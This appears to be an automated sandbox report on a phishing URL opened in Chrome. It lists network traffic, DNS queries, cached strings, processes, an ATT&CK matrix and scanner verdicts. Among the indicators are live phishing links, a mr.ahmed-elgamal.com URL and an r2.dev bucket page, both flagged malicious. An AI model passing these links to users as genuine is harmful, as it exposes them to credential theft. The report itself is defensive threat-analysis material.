Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mr.ahmed-elgamal.com
Source: global traffic	DNS traffic detected: DNS query: pub-160645733abe48e1a173755d32058a26.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: polynethub.netlify.app
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: chromecache_78.3.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_87.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_78.3.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_78.3.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_78.3.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_71.3.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_78.3.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_78.3.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLBT5Z1JlFc-K.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLBT5Z1xlFQ.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDD4Z1JlFc-K.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDD4Z1xlFQ.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJfecg.woff2)
Source: chromecache_80.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJnecmNE.woff2)
Source: chromecache_78.3.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_78.3.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_78.3.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_78.3.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_78.3.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_86.3.dr	String found in binary or memory: https://google.com
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_78.3.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_78.3.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_67.3.dr, chromecache_72.3.dr	String found in binary or memory: https://ipinfo.io/missingauth
Source: chromecache_78.3.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_78.3.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_78.3.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_78.3.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_78.3.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_86.3.dr	String found in binary or memory: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html
Source: chromecache_78.3.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_78.3.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_78.3.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
Source: chromecache_71.3.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.12:49735 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir180_214338125

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir180_214338125

Jump to behavior

Source: classification engine

Classification label: mal68.phis.win@24/45@18/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,7910549151802583560,15550062184411873436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,7910549151802583560,15550062184411873436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label
https://polynethub.netlify.app/mgs/eyeslash.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/tad1.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/prog.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/d2.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/icon.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/main.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mr.ahmed-elgamal.com	138.197.101.40	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www.google.com	142.250.184.196	true	false	high
polynethub.netlify.app	3.75.10.80	true	false	high
pub-160645733abe48e1a173755d32058a26.r2.dev	172.66.0.235	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/rule704001v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704151v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702001v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700451v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702451v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703301v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701751v1s19.xml	false		high
https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html	true		unknown
https://otelrules.svc.static.microsoft/rules/rule702601v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700301v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701550v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700100v1s19.xml	false		high
